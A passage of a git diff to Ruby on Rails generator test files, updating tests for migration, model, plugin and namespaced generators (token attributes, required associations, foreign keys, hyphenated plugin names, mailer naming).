+          assert_match(/add_column :post, :title, :string/, change)
+        end
+      end
+    end
+  end
+
+  def test_create_join_table_migration_with_singular_table_name
+    with_singular_table_name do
+      migration = "add_media_join_table"
+      run_generator [migration, "artist_id", "music:uniq"]
+
+      assert_migration "db/migrate/#{migration}.rb" do |content|
+        assert_method :change, content do |change|
+          assert_match(/create_join_table :artist, :music/, change)
+          assert_match(/# t.index \[:artist_id, :music_id\]/, change)
+          assert_match(/  t.index \[:music_id, :artist_id\], unique: true/, change)
+        end
+      end
+    end
+  end
+
+  def test_create_table_migration_with_singular_table_name
+    with_singular_table_name do
+      run_generator ["create_book", "title:string", "content:text"]
+      assert_migration "db/migrate/create_book.rb" do |content|
+        assert_method :change, content do |change|
+          assert_match(/create_table :book/, change)
+          assert_match(/  t\.string :title/, change)
+          assert_match(/  t\.text :content/, change)
+        end
+      end
+    end
+  end
+
+  def test_create_table_migration_with_token_option
+    run_generator ["create_users", "token:token", "auth_token:token"]
+    assert_migration "db/migrate/create_users.rb" do |content|
+      assert_method :change, content do |change|
+        assert_match(/create_table :users/, change)
+        assert_match(/  t\.string :token/, change)
+        assert_match(/  t\.string :auth_token/, change)
+        assert_match(/add_index :users, :token, unique: true/, change)
+        assert_match(/add_index :users, :auth_token, unique: true/, change)
+      end
+    end
+  end
+
+  def test_add_migration_with_token_option
+    migration = "add_token_to_users"
+    run_generator [migration, "auth_token:token"]
+    assert_migration "db/migrate/#{migration}.rb" do |content|
+      assert_method :change, content do |change|
+        assert_match(/add_column :users, :auth_token, :string/, change)
+        assert_match(/add_index :users, :auth_token, unique: true/, change)
+      end
+    end
+  end
+
+  private
+
+    def with_singular_table_name
+      old_state = ActiveRecord::Base.pluralize_table_names
+      ActiveRecord::Base.pluralize_table_names = false
+      yield
+    ensure
+      ActiveRecord::Base.pluralize_table_names = old_state
+    end
 end
diff --git a/railties/test/generators/model_generator_test.rb b/railties/test/generators/model_generator_test.rb
index 01ab77ee20..17a13fbf1f 100644
--- a/railties/test/generators/model_generator_test.rb
+++ b/railties/test/generators/model_generator_test.rb
@@ -1,5 +1,6 @@
 require 'generators/generators_test_helper'
 require 'rails/generators/rails/model/model_generator'
+require 'active_support/core_ext/string/strip'
 
 class ModelGeneratorTest < Rails::Generators::TestCase
   include GeneratorsTestHelper
@@ -34,6 +35,13 @@ class ModelGeneratorTest < Rails::Generators::TestCase
     assert_no_migration "db/migrate/create_accounts.rb"
   end
 
+  def test_plural_names_are_singularized
+    content = run_generator ["accounts".freeze]
+    assert_file "app/models/account.rb", /class Account < ActiveRecord::Base/
+    assert_file "test/models/account_test.rb", /class AccountTest/
+    assert_match(/\[WARNING\] The model name 'accounts' was recognized as a plural, using the singular 'account' instead\. Override with --force-plural or setup custom inflection rules for this noun before running the generator\./, content)
+  end
+
   def test_model_with_underscored_parent_option
     run_generator ["account", "--parent", "admin/account"]
     assert_file "app/models/account.rb", /class Account < Admin::Account/
@@ -279,18 +287,18 @@ class ModelGeneratorTest < Rails::Generators::TestCase
   def test_fixtures_use_the_references_ids
     run_generator ["LineItem", "product:references", "cart:belongs_to"]
 
-    assert_file "test/fixtures/line_items.yml", /product_id: \n  cart_id: /
+    assert_file "test/fixtures/line_items.yml", /product: \n  cart: /
     assert_generated_fixture("test/fixtures/line_items.yml",
-                             {"one"=>{"product_id"=>nil, "cart_id"=>nil}, "two"=>{"product_id"=>nil, "cart_id"=>nil}})
+                             {"one"=>{"product"=>nil, "cart"=>nil}, "two"=>{"product"=>nil, "cart"=>nil}})
   end
 
   def test_fixtures_use_the_references_ids_and_type
     run_generator ["LineItem", "product:references{polymorphic}", "cart:belongs_to"]
 
-    assert_file "test/fixtures/line_items.yml", /product_id: \n  product_type: Product\n  cart_id: /
+    assert_file "test/fixtures/line_items.yml", /product: \n  product_type: Product\n  cart: /
     assert_generated_fixture("test/fixtures/line_items.yml",
-                             {"one"=>{"product_id"=>nil, "product_type"=>"Product", "cart_id"=>nil},
-                              "two"=>{"product_id"=>nil, "product_type"=>"Product", "cart_id"=>nil}})
+                             {"one"=>{"product"=>nil, "product_type"=>"Product", "cart"=>nil},
+                              "two"=>{"product"=>nil, "product_type"=>"Product", "cart"=>nil}})
   end
 
   def test_fixtures_respect_reserved_yml_keywords
@@ -356,6 +364,91 @@ class ModelGeneratorTest < Rails::Generators::TestCase
     end
   end
 
+  def test_required_belongs_to_adds_required_association
+    run_generator ["account", "supplier:references{required}"]
+
+    expected_file = <<-FILE.strip_heredoc
+    class Account < ActiveRecord::Base
+      belongs_to :supplier, required: true
+    end
+    FILE
+    assert_file "app/models/account.rb", expected_file
+  end
+
+  def test_required_polymorphic_belongs_to_generages_correct_model
+    run_generator ["account", "supplier:references{required,polymorphic}"]
+
+    expected_file = <<-FILE.strip_heredoc
+    class Account < ActiveRecord::Base
+      belongs_to :supplier, polymorphic: true, required: true
+    end
+    FILE
+    assert_file "app/models/account.rb", expected_file
+  end
+
+  def test_required_and_polymorphic_are_order_independent
+    run_generator ["account", "supplier:references{polymorphic.required}"]
+
+    expected_file = <<-FILE.strip_heredoc
+    class Account < ActiveRecord::Base
+      belongs_to :supplier, polymorphic: true, required: true
+    end
+    FILE
+    assert_file "app/models/account.rb", expected_file
+  end
+
+  def test_required_adds_null_false_to_column
+    run_generator ["account", "supplier:references{required}"]
+
+    assert_migration "db/migrate/create_accounts.rb" do |m|
+      assert_method :change, m do |up|
+        assert_match(/t\.references :supplier,.*\snull: false/, up)
+      end
+    end
+  end
+
+  def test_foreign_key_is_not_added_for_non_references
+    run_generator ["account", "supplier:string"]
+
+    assert_migration "db/migrate/create_accounts.rb" do |m|
+      assert_method :change, m do |up|
+        assert_no_match(/foreign_key/, up)
+      end
+    end
+  end
+
+  def test_foreign_key_is_added_for_references
+    run_generator ["account", "supplier:belongs_to", "user:references"]
+
+    assert_migration "db/migrate/create_accounts.rb" do |m|
+      assert_method :change, m do |up|
+        assert_match(/t\.belongs_to :supplier,.*\sforeign_key: true/, up)
+        assert_match(/t\.references :user,.*\sforeign_key: true/, up)
+      end
+    end
+  end
+
+  def test_foreign_key_is_skipped_for_polymorphic_references
+    run_generator ["account", "supplier:belongs_to{polymorphic}"]
+
+    assert_migration "db/migrate/create_accounts.rb" do |m|
+      assert_method :change, m do |up|
+        assert_no_match(/foreign_key/, up)
+      end
+    end
+  end
+
+  def test_token_option_adds_has_secure_token
+    run_generator ["user", "token:token", "auth_token:token"]
+    expected_file = <<-FILE.strip_heredoc
+    class User < ActiveRecord::Base
+      has_secure_token
+      has_secure_token :auth_token
+    end
+    FILE
+    assert_file "app/models/user.rb", expected_file
+  end
+
   private
     def assert_generated_fixture(path, parsed_contents)
       fixture_file = File.new File.expand_path(path, destination_root)
diff --git a/railties/test/generators/named_base_test.rb b/railties/test/generators/named_base_test.rb
index 2bc2c33a72..18a26fde05 100644
--- a/railties/test/generators/named_base_test.rb
+++ b/railties/test/generators/named_base_test.rb
@@ -1,15 +1,6 @@
 require 'generators/generators_test_helper'
 require 'rails/generators/rails/scaffold_controller/scaffold_controller_generator'
-
-# Mock out what we need from AR::Base.
-module ActiveRecord
-  class Base
-    class << self
-      attr_accessor :pluralize_table_names
-    end
-    self.pluralize_table_names = true
-  end
-end
+require 'mocha/setup' # FIXME: stop using mocha
 
 class NamedBaseTest < Rails::Generators::TestCase
   include GeneratorsTestHelper
@@ -58,11 +49,13 @@ class NamedBaseTest < Rails::Generators::TestCase
   end
 
   def test_named_generator_attributes_without_pluralized
+    original_pluralize_table_names = ActiveRecord::Base.pluralize_table_names
     ActiveRecord::Base.pluralize_table_names = false
+
     g = generator ['admin/foo']
     assert_name g, 'admin_foo', :table_name
   ensure
-    ActiveRecord::Base.pluralize_table_names = true
+    ActiveRecord::Base.pluralize_table_names = original_pluralize_table_names
   end
 
   def test_scaffold_plural_names
@@ -117,6 +110,25 @@ class NamedBaseTest < Rails::Generators::TestCase
     assert Rails::Generators.hidden_namespaces.include?('hidden')
   end
 
+  def test_scaffold_plural_names_with_model_name_option
+    g = generator ['Admin::Foo'], model_name: 'User'
+    assert_name g, 'user',        :singular_name
+    assert_name g, 'User',        :name
+    assert_name g, 'user',        :file_path
+    assert_name g, 'User',        :class_name
+    assert_name g, 'user',        :file_name
+    assert_name g, 'User',        :human_name
+    assert_name g, 'users',       :plural_name
+    assert_name g, 'user',        :i18n_scope
+    assert_name g, 'users',       :table_name
+    assert_name g, 'Admin::Foos', :controller_name
+    assert_name g, %w(admin),     :controller_class_path
+    assert_name g, 'Admin::Foos', :controller_class_name
+    assert_name g, 'admin/foos',  :controller_file_path
+    assert_name g, 'foos',        :controller_file_name
+    assert_name g, 'admin.foos',  :controller_i18n_scope
+  end
+
   protected
 
     def assert_name(generator, value, method)
diff --git a/railties/test/generators/namespaced_generators_test.rb b/railties/test/generators/namespaced_generators_test.rb
index e17925ff65..d0ea01dfb0 100644
--- a/railties/test/generators/namespaced_generators_test.rb
+++ b/railties/test/generators/namespaced_generators_test.rb
@@ -47,7 +47,6 @@ class NamespacedControllerGeneratorTest < NamespacedGeneratorTestCase
   def test_helper_is_also_namespaced
     run_generator
     assert_file "app/helpers/test_app/account_helper.rb", /module TestApp/, /  module AccountHelper/
-    assert_file "test/helpers/test_app/account_helper_test.rb", /module TestApp/, /  class AccountHelperTest/
   end
 
   def test_invokes_default_test_framework
@@ -63,7 +62,7 @@ class NamespacedControllerGeneratorTest < NamespacedGeneratorTestCase
 
   def test_routes_should_not_be_namespaced
     run_generator
-    assert_file "config/routes.rb", /get "account\/foo"/, /get "account\/bar"/
+    assert_file "config/routes.rb", /get 'account\/foo'/, /get 'account\/bar'/
   end
 
   def test_invokes_default_template_engine_even_with_no_action
@@ -147,26 +146,26 @@ class NamespacedMailerGeneratorTest < NamespacedGeneratorTestCase
 
   def test_mailer_skeleton_is_created
     run_generator
-    assert_file "app/mailers/test_app/notifier.rb" do |mailer|
+    assert_file "app/mailers/test_app/notifier_mailer.rb" do |mailer|
       assert_match(/module TestApp/, mailer)
-      assert_match(/class Notifier < ActionMailer::Base/, mailer)
-      assert_match(/default from: "from@example.com"/, mailer)
+      assert_match(/class NotifierMailer < ApplicationMailer/, mailer)
+      assert_no_match(/default from: "from@example.com"/, mailer)
     end
   end
 
   def test_mailer_with_i18n_helper
     run_generator
-    assert_file "app/mailers/test_app/notifier.rb" do |mailer|
-      assert_match(/en\.notifier\.foo\.subject/, mailer)
-      assert_match(/en\.notifier\.bar\.subject/, mailer)
+    assert_file "app/mailers/test_app/notifier_mailer.rb" do |mailer|
+      assert_match(/en\.notifier_mailer\.foo\.subject/, mailer)
+      assert_match(/en\.notifier_mailer\.bar\.subject/, mailer)
     end
   end
 
   def test_invokes_default_test_framework
     run_generator
-    assert_file "test/mailers/test_app/notifier_test.rb" do |test|
+    assert_file "test/mailers/test_app/notifier_mailer_test.rb" do |test|
       assert_match(/module TestApp/, test)
-      assert_match(/class NotifierTest < ActionMailer::TestCase/, test)
+      assert_match(/class NotifierMailerTest < ActionMailer::TestCase/, test)
       assert_match(/test "foo"/, test)
       assert_match(/test "bar"/, test)
     end
@@ -229,7 +228,6 @@ class NamespacedScaffoldGeneratorTest < NamespacedGeneratorTestCase
 
     # Helpers
     assert_file "app/helpers/test_app/product_lines_helper.rb"
-    assert_file "test/helpers/test_app/product_lines_helper_test.rb"
 
     # Stylesheets
     assert_file "app/assets/stylesheets/scaffold.css"
@@ -260,7 +258,6 @@ class NamespacedScaffoldGeneratorTest < NamespacedGeneratorTestCase
 
     # Helpers
     assert_no_file "app/helpers/test_app/product_lines_helper.rb"
-    assert_no_file "test/helpers/test_app/product_lines_helper_test.rb"
 
     # Stylesheets (should not be removed)
     assert_file "app/assets/stylesheets/scaffold.css"
@@ -297,7 +294,6 @@ class NamespacedScaffoldGeneratorTest < NamespacedGeneratorTestCase
 
     # Helpers
     assert_file "app/helpers/test_app/admin/roles_helper.rb"
-    assert_file "test/helpers/test_app/admin/roles_helper_test.rb"
 
     # Stylesheets
     assert_file "app/assets/stylesheets/scaffold.css"
@@ -329,7 +325,6 @@ class NamespacedScaffoldGeneratorTest < NamespacedGeneratorTestCase
 
     # Helpers
     assert_no_file "app/helpers/test_app/admin/roles_helper.rb"
-    assert_no_file "test/helpers/test_app/admin/roles_helper_test.rb"
 
     # Stylesheets (should not be removed)
     assert_file "app/assets/stylesheets/scaffold.css"
@@ -366,7 +361,6 @@ class NamespacedScaffoldGeneratorTest < NamespacedGeneratorTestCase
 
     # Helpers
     assert_file "app/helpers/test_app/admin/user/special/roles_helper.rb"
-    assert_file "test/helpers/test_app/admin/user/special/roles_helper_test.rb"
 
     # Stylesheets
     assert_file "app/assets/stylesheets/scaffold.css"
@@ -397,7 +391,6 @@ class NamespacedScaffoldGeneratorTest < NamespacedGeneratorTestCase
 
     # Helpers
     assert_no_file "app/helpers/test_app/admin/user/special/roles_helper.rb"
-    assert_no_file "test/helpers/test_app/admin/user/special/roles_helper_test.rb"
 
     # Stylesheets (should not be removed)
     assert_file "app/assets/stylesheets/scaffold.css"
diff --git a/railties/test/generators/plugin_generator_test.rb b/railties/test/generators/plugin_generator_test.rb
index 068eb66bc6..a0f244da28 100644
--- a/railties/test/generators/plugin_generator_test.rb
+++ b/railties/test/generators/plugin_generator_test.rb
@@ -1,6 +1,7 @@
 require 'generators/generators_test_helper'
 require 'rails/generators/rails/plugin/plugin_generator'
 require 'generators/shared_generator_tests'
+require 'mocha/setup' # FIXME: stop using mocha
 
 DEFAULT_PLUGIN_FILES = %w(
   .gitignore
@@ -27,17 +28,30 @@ class PluginGeneratorTest < Rails::Generators::TestCase
   include SharedGeneratorTests
 
   def test_invalid_plugin_name_raises_an_error
-    content = capture(:stderr){ run_generator [File.join(destination_root, "things-43")] }
-    assert_equal "Invalid plugin name things-43. Please give a name which use only alphabetic or numeric or \"_\" characters.\n", content
+    content = capture(:stderr){ run_generator [File.join(destination_root, "my_plugin-31fr-extension")] }
+    assert_equal "Invalid plugin name my_plugin-31fr-extension. Please give a name which does not contain a namespace starting with numeric characters.\n", content
 
     content = capture(:stderr){ run_generator [File.join(destination_root, "things4.3")] }
-    assert_equal "Invalid plugin name things4.3. Please give a name which use only alphabetic or numeric or \"_\" characters.\n", content
+    assert_equal "Invalid plugin name things4.3. Please give a name which uses only alphabetic, numeric, \"_\" or \"-\" characters.\n", content
 
     content = capture(:stderr){ run_generator [File.join(destination_root, "43things")] }
     assert_equal "Invalid plugin name 43things. Please give a name which does not start with numbers.\n", content
+
+    content = capture(:stderr){ run_generator [File.join(destination_root, "plugin")] }
+    assert_equal "Invalid plugin name plugin. Please give a name which does not match one of the reserved rails words.\n", content
+
+    content = capture(:stderr){ run_generator [File.join(destination_root, "Digest")] }
+    assert_equal "Invalid plugin name Digest, constant Digest is already in use. Please choose another plugin name.\n", content
+  end
+
+  def test_correct_file_in_lib_folder_of_hyphenated_plugin_name
+    run_generator [File.join(destination_root, "hyphenated-name")]
+    assert_no_file "hyphenated-name/lib/hyphenated-name.rb"
+    assert_no_file "hyphenated-name/lib/hyphenated_name.rb"
+    assert_file "hyphenated-name/lib/hyphenated/name.rb", /module Hyphenated\n  module Name\n    # Your code goes here...\n  end\nend/
   end
 
-  def test_camelcase_plugin_name_underscores_filenames
+  def test_correct_file_in_lib_folder_of_camelcase_plugin_name
     run_generator [File.join(destination_root, "CamelCasedName")]
     assert_no_file "CamelCasedName/lib/CamelCasedName.rb"
     assert_file "CamelCasedName/lib/camel_cased_name.rb", /module CamelCasedName/
@@ -47,7 +61,11 @@ class PluginGeneratorTest < Rails::Generators::TestCase
     run_generator
     assert_file "README.rdoc", /Bukkits/
     assert_no_file "config/routes.rb"
-    assert_file "test/test_helper.rb"
+    assert_file "test/test_helper.rb" do |content|
+      assert_match(/require.+test\/dummy\/config\/environment/, content)
+      assert_match(/ActiveRecord::Migrator\.migrations_paths.+test\/dummy\/db\/migrate/, content)
+      assert_match(/Minitest\.backtrace_filter = Minitest::BacktraceFilter\.new/, content)
+    end
     assert_file "test/bukkits_test.rb", /assert_kind_of Module, Bukkits/
   end
 
@@ -58,6 +76,17 @@ class PluginGeneratorTest < Rails::Generators::TestCase
     assert_file "test/integration/navigation_test.rb", /ActionDispatch::IntegrationTest/
   end
 
+  def test_inclusion_of_a_debugger
+    run_generator [destination_root, '--full']
+    if defined?(JRUBY_VERSION) || RUBY_ENGINE == "rbx"
+      assert_file "Gemfile" do |content|
+        assert_no_match(/byebug/, content)
+      end
+    else
+      assert_file "Gemfile", /# gem 'byebug'/
+    end
+  end
+
   def test_generating_test_files_in_full_mode_without_unit_test_files
     run_generator [destination_root, "-T", "--full"]
 
@@ -74,7 +103,7 @@ class PluginGeneratorTest < Rails::Generators::TestCase
   end
 
   def test_generating_adds_dummy_app_without_javascript_and_assets_deps
-    run_generator [destination_root]
+    run_generator
 
     assert_file "test/dummy/app/assets/stylesheets/application.css"
 
@@ -90,7 +119,7 @@ class PluginGeneratorTest < Rails::Generators::TestCase
 
   def test_ensure_that_test_dummy_can_be_generated_from_a_template
     FileUtils.cd(Rails.root)
-    run_generator([destination_root, "-m", "lib/create_test_dummy_template.rb", "--skip-test-unit"])
+    run_generator([destination_root, "-m", "lib/create_test_dummy_template.rb", "--skip-test"])
     assert_file "spec/dummy"
     assert_no_file "test"
   end
@@ -115,6 +144,20 @@ class PluginGeneratorTest < Rails::Generators::TestCase
     end
   end
 
+  def test_app_generator_without_skips
+    run_generator
+    assert_file "test/dummy/config/application.rb", /\s+require\s+["']rails\/all["']/
+    assert_file "test/dummy/config/environments/development.rb" do |content|
+      assert_match(/config\.action_mailer\.raise_delivery_errors = false/, content)
+    end
+    assert_file "test/dummy/config/environments/test.rb" do |content|
+      assert_match(/config\.action_mailer\.delivery_method = :test/, content)
+    end
+    assert_file "test/dummy/config/environments/production.rb" do |content|
+      assert_match(/# config\.action_mailer\.raise_delivery_errors = false/, content)
+    end
+  end
+
   def test_active_record_is_removed_from_frameworks_if_skip_active_record_is_given
     run_generator [destination_root, "--skip-active-record"]
     assert_file "test/dummy/config/application.rb", /#\s+require\s+["']active_record\/railtie["']/
@@ -128,6 +171,20 @@ class PluginGeneratorTest < Rails::Generators::TestCase
     end
   end
 
+  def test_action_mailer_is_removed_from_frameworks_if_skip_action_mailer_is_given
+    run_generator [destination_root, "--skip-action-mailer"]
+    assert_file "test/dummy/config/application.rb", /#\s+require\s+["']action_mailer\/railtie["']/
+    assert_file "test/dummy/config/environments/development.rb" do |content|
+      assert_no_match(/config\.action_mailer/, content)
+    end
+    assert_file "test/dummy/config/environments/test.rb" do |content|
+      assert_no_match(/config\.action_mailer/, content)
+    end
+    assert_file "test/dummy/config/environments/production.rb" do |content|
+      assert_no_match(/config\.action_mailer/, content)
+    end
+  end
+
   def test_ensure_that_database_option_is_passed_to_app_generator
     run_generator [destination_root, "--database", "postgresql"]
     assert_file "test/dummy/config/database.yml", /postgres/
@@ -135,13 +192,11 @@ class PluginGeneratorTest < Rails::Generators::TestCase
 
   def test_generation_runs_bundle_install_with_full_and_mountable
     result = run_generator [destination_root, "--mountable", "--full", "--dev"]
+    assert_match(/run  bundle install/, result)
+    assert $?.success?, "Command failed: #{result}"
     assert_file "#{destination_root}/Gemfile.lock" do |contents|
       assert_match(/bukkits/, contents)
     end
-    assert_match(/run  bundle install/, result)
-    assert_match(/Using bukkits \(0\.0\.1\)/, result)
-    assert_match(/Your bundle is complete/, result)
-    assert_equal 1, result.scan("Your bundle is complete").size
   end
 
   def test_skipping_javascripts_without_mountable_option
@@ -168,22 +223,22 @@ class PluginGeneratorTest < Rails::Generators::TestCase
     run_generator
     FileUtils.cd destination_root
     quietly { system 'bundle install' }
-    assert_match(/1 runs, 1 assertions, 0 failures, 0 errors/, `bundle exec rake test`)
+    assert_match(/1 runs, 1 assertions, 0 failures, 0 errors/, `bundle exec rake test 2>&1`)
   end
 
   def test_ensure_that_tests_works_in_full_mode
     run_generator [destination_root, "--full", "--skip_active_record"]
     FileUtils.cd destination_root
     quietly { system 'bundle install' }
-    assert_match(/1 runs, 1 assertions, 0 failures, 0 errors/, `bundle exec rake test`)
+    assert_match(/1 runs, 1 assertions, 0 failures, 0 errors/, `bundle exec rake test 2>&1`)
   end
 
   def test_ensure_that_migration_tasks_work_with_mountable_option
     run_generator [destination_root, "--mountable"]
     FileUtils.cd destination_root
     quietly { system 'bundle install' }
-    `bundle exec rake db:migrate`
-    assert_equal 0, $?.exitstatus
+    output = `bundle exec rake db:migrate 2>&1`
+    assert $?.success?, "Command failed: #{output}"
   end
 
   def test_creating_engine_in_full_mode
@@ -202,6 +257,40 @@ class PluginGeneratorTest < Rails::Generators::TestCase
     assert_file "lib/bukkits.rb", /require "bukkits\/engine"/
   end
 
+  def test_creating_engine_with_hyphenated_name_in_full_mode
+    run_generator [File.join(destination_root, "hyphenated-name"), "--full"]
+    assert_file "hyphenated-name/app/assets/javascripts/hyphenated/name"
+    assert_file "hyphenated-name/app/assets/stylesheets/hyphenated/name"
+    assert_file "hyphenated-name/app/assets/images/hyphenated/name"
+    assert_file "hyphenated-name/app/models"
+    assert_file "hyphenated-name/app/controllers"
+    assert_file "hyphenated-name/app/views"
+    assert_file "hyphenated-name/app/helpers"
+    assert_file "hyphenated-name/app/mailers"
+    assert_file "hyphenated-name/bin/rails"
+    assert_file "hyphenated-name/config/routes.rb",              /Rails.application.routes.draw do/
+    assert_file "hyphenated-name/lib/hyphenated/name/engine.rb", /module Hyphenated\n  module Name\n    class Engine < ::Rails::Engine\n    end\n  end\nend/
+    assert_file "hyphenated-name/lib/hyphenated/name.rb",        /require "hyphenated\/name\/engine"/
+    assert_file "hyphenated-name/bin/rails",                     /\.\.\/\.\.\/lib\/hyphenated\/name\/engine/
+  end
+
+  def test_creating_engine_with_hyphenated_and_underscored_name_in_full_mode
+    run_generator [File.join(destination_root, "my_hyphenated-name"), "--full"]
+    assert_file "my_hyphenated-name/app/assets/javascripts/my_hyphenated/name"
+    assert_file "my_hyphenated-name/app/assets/stylesheets/my_hyphenated/name"
+    assert_file "my_hyphenated-name/app/assets/images/my_hyphenated/name"
+    assert_file "my_hyphenated-name/app/models"
+    assert_file "my_hyphenated-name/app/controllers"
+    assert_file "my_hyphenated-name/app/views"
+    assert_file "my_hyphenated-name/app/helpers"
+    assert_file "my_hyphenated-name/app/mailers"
+    assert_file "my_hyphenated-name/bin/rails"
+    assert_file "my_hyphenated-name/config/routes.rb",              /Rails.application.routes.draw do/
+    assert_file "my_hyphenated-name/lib/my_hyphenated/name/engine.rb", /module MyHyphenated\n  module Name\n    class Engine < ::Rails::Engine\n    end\n  end\nend/
+    assert_file "my_hyphenated-name/lib/my_hyphenated/name.rb",        /require "my_hyphenated\/name\/engine"/
+    assert_file "my_hyphenated-name/bin/rails",                     /\.\.\/\.\.\/lib\/my_hyphenated\/name\/engine/
+  end
+
   def test_being_quiet_while_creating_dummy_application
     assert_no_match(/create\s+config\/application.rb/, run_generator)
   end
@@ -221,6 +310,67 @@ class PluginGeneratorTest < Rails::Generators::TestCase
       assert_match(/stylesheet_link_tag\s+['"]bukkits\/application['"]/, contents)
       assert_match(/javascript_include_tag\s+['"]bukkits\/application['"]/, contents)
     end
+    assert_file "test/test_helper.rb" do |content|
+      assert_match(/ActiveRecord::Migrator\.migrations_paths.+\.\.\/test\/dummy\/db\/migrate/, content)
+      assert_match(/ActiveRecord::Migrator\.migrations_paths.+<<.+\.\.\/db\/migrate/, content)
+    end
+  end
+
+  def test_create_mountable_application_with_mountable_option_and_hypenated_name
+    run_generator [File.join(destination_root, "hyphenated-name"), "--mountable"]
+    assert_file "hyphenated-name/app/assets/javascripts/hyphenated/name"
+    assert_file "hyphenated-name/app/assets/stylesheets/hyphenated/name"
+    assert_file "hyphenated-name/app/assets/images/hyphenated/name"
+    assert_file "hyphenated-name/config/routes.rb",                                          /Hyphenated::Name::Engine.routes.draw do/
+    assert_file "hyphenated-name/lib/hyphenated/name/version.rb",                            /module Hyphenated\n  module Name\n    VERSION = "0.0.1"\n  end\nend/
+    assert_file "hyphenated-name/lib/hyphenated/name/engine.rb",                             /module Hyphenated\n  module Name\n    class Engine < ::Rails::Engine\n      isolate_namespace Hyphenated::Name\n    end\n  end\nend/
+    assert_file "hyphenated-name/lib/hyphenated/name.rb",                                    /require "hyphenated\/name\/engine"/
+    assert_file "hyphenated-name/test/dummy/config/routes.rb",                               /mount Hyphenated::Name::Engine => "\/hyphenated-name"/
+    assert_file "hyphenated-name/app/controllers/hyphenated/name/application_controller.rb", /module Hyphenated\n  module Name\n    class ApplicationController < ActionController::Base\n    end\n  end\nend/
+    assert_file "hyphenated-name/app/helpers/hyphenated/name/application_helper.rb",         /module Hyphenated\n  module Name\n    module ApplicationHelper\n    end\n  end\nend/
+    assert_file "hyphenated-name/app/views/layouts/hyphenated/name/application.html.erb" do |contents|
+      assert_match "<title>Hyphenated name</title>", contents
+      assert_match(/stylesheet_link_tag\s+['"]hyphenated\/name\/application['"]/, contents)
+      assert_match(/javascript_include_tag\s+['"]hyphenated\/name\/application['"]/, contents)
+    end
+  end
+
+  def test_create_mountable_application_with_mountable_option_and_hypenated_and_underscored_name
+    run_generator [File.join(destination_root, "my_hyphenated-name"), "--mountable"]
+    assert_file "my_hyphenated-name/app/assets/javascripts/my_hyphenated/name"
+    assert_file "my_hyphenated-name/app/assets/stylesheets/my_hyphenated/name"
+    assert_file "my_hyphenated-name/app/assets/images/my_hyphenated/name"
+    assert_file "my_hyphenated-name/config/routes.rb",                                             /MyHyphenated::Name::Engine.routes.draw do/
+    assert_file "my_hyphenated-name/lib/my_hyphenated/name/version.rb",                            /module MyHyphenated\n  module Name\n    VERSION = "0.0.1"\n  end\nend/
+    assert_file "my_hyphenated-name/lib/my_hyphenated/name/engine.rb",                             /module MyHyphenated\n  module Name\n    class Engine < ::Rails::Engine\n      isolate_namespace MyHyphenated::Name\n    end\n  end\nend/
+    assert_file "my_hyphenated-name/lib/my_hyphenated/name.rb",                                    /require "my_hyphenated\/name\/engine"/
+    assert_file "my_hyphenated-name/test/dummy/config/routes.rb",                                  /mount MyHyphenated::Name::Engine => "\/my_hyphenated-name"/
+    assert_file "my_hyphenated-name/app/controllers/my_hyphenated/name/application_controller.rb", /module MyHyphenated\n  module Name\n    class ApplicationController < ActionController::Base\n    end\n  end\nend/
+    assert_file "my_hyphenated-name/app/helpers/my_hyphenated/name/application_helper.rb",         /module MyHyphenated\n  module Name\n    module ApplicationHelper\n    end\n  end\nend/
+    assert_file "my_hyphenated-name/app/views/layouts/my_hyphenated/name/application.html.erb" do |contents|
+      assert_match "<title>My hyphenated name</title>", contents
+      assert_match(/stylesheet_link_tag\s+['"]my_hyphenated\/name\/application['"]/, contents)
+      assert_match(/javascript_include_tag\s+['"]my_hyphenated\/name\/application['"]/, contents)
+    end
+  end
+
+  def test_create_mountable_application_with_mountable_option_and_multiple_hypenates_in_name
+    run_generator [File.join(destination_root, "deep-hyphenated-name"), "--mountable"]
+    assert_file "deep-hyphenated-name/app/assets/javascripts/deep/hyphenated/name"
+    assert_file "deep-hyphenated-name/app/assets/stylesheets/deep/hyphenated/name"
+    assert_file "deep-hyphenated-name/app/assets/images/deep/hyphenated/name"
+    assert_file "deep-hyphenated-name/config/routes.rb",                                               /Deep::Hyphenated::Name::Engine.routes.draw do/
+    assert_file "deep-hyphenated-name/lib/deep/hyphenated/name/version.rb",                            /module Deep\n  module Hyphenated\n    module Name\n      VERSION = "0.0.1"\n    end\n  end\nend/
+    assert_file "deep-hyphenated-name/lib/deep/hyphenated/name/engine.rb",                             /module Deep\n  module Hyphenated\n    module Name\n      class Engine < ::Rails::Engine\n        isolate_namespace Deep::Hyphenated::Name\n      end\n    end\n  end\nend/
+    assert_file "deep-hyphenated-name/lib/deep/hyphenated/name.rb",                                    /require "deep\/hyphenated\/name\/engine"/
+    assert_file "deep-hyphenated-name/test/dummy/config/routes.rb",                                    /mount Deep::Hyphenated::Name::Engine => "\/deep-hyphenated-name"/
+    assert_file "deep-hyphenated-name/app/controllers/deep/hyphenated/name/application_controller.rb", /module Deep\n  module Hyphenated\n    module Name\n      class ApplicationController < ActionController::Base\n      end\n    end\n  end\nend/
+    assert_file "deep-hyphenated-name/app/helpers/deep/hyphenated/name/application_helper.rb",         /module Deep\n  module Hyphenated\n    module Name\n      module ApplicationHelper\n      end\n    end\n  end\nend/
+    assert_file "deep-hyphenated-name/app/views/layouts/deep/hyphenated/name/application.html.erb" do |contents|
+      assert_match "<title>Deep hyphenated name</title>", contents
+      assert_match(/stylesheet_link_tag\s+['"]deep\/hyphenated\/name\/application['"]/, contents)
+      assert_match(/javascript_include_tag\s+['"]deep\/hyphenated\/name\/application['"]/, contents)
+    end
   end
 
   def test_creating_gemspec
@@ -249,6 +399,10 @@ class PluginGeneratorTest < Rails::Generators::TestCase
     assert_file "spec/dummy"
     assert_file "spec/dummy/config/application.rb"
     assert_no_file "test/dummy"
+    assert_file "test/test_helper.rb" do |content|
+      assert_match(/require.+spec\/dummy\/config\/environment/, content)
+      assert_match(/ActiveRecord::Migrator\.migrations_paths.+spec\/dummy\/db\/migrate/, content)
+    end
   end
 
   def test_creating_dummy_application_with_different_name
@@ -256,13 +410,18 @@ class PluginGeneratorTest < Rails::Generators::TestCase
     assert_file "spec/fake"
     assert_file "spec/fake/config/application.rb"
     assert_no_file "test/dummy"
+    assert_file "test/test_helper.rb" do |content|
+      assert_match(/require.+spec\/fake\/config\/environment/, content)
+      assert_match(/ActiveRecord::Migrator\.migrations_paths.+spec\/fake\/db\/migrate/, content)
+    end
   end
 
   def test_creating_dummy_without_tests_but_with_dummy_path
-    run_generator [destination_root, "--dummy_path", "spec/dummy", "--skip-test-unit"]
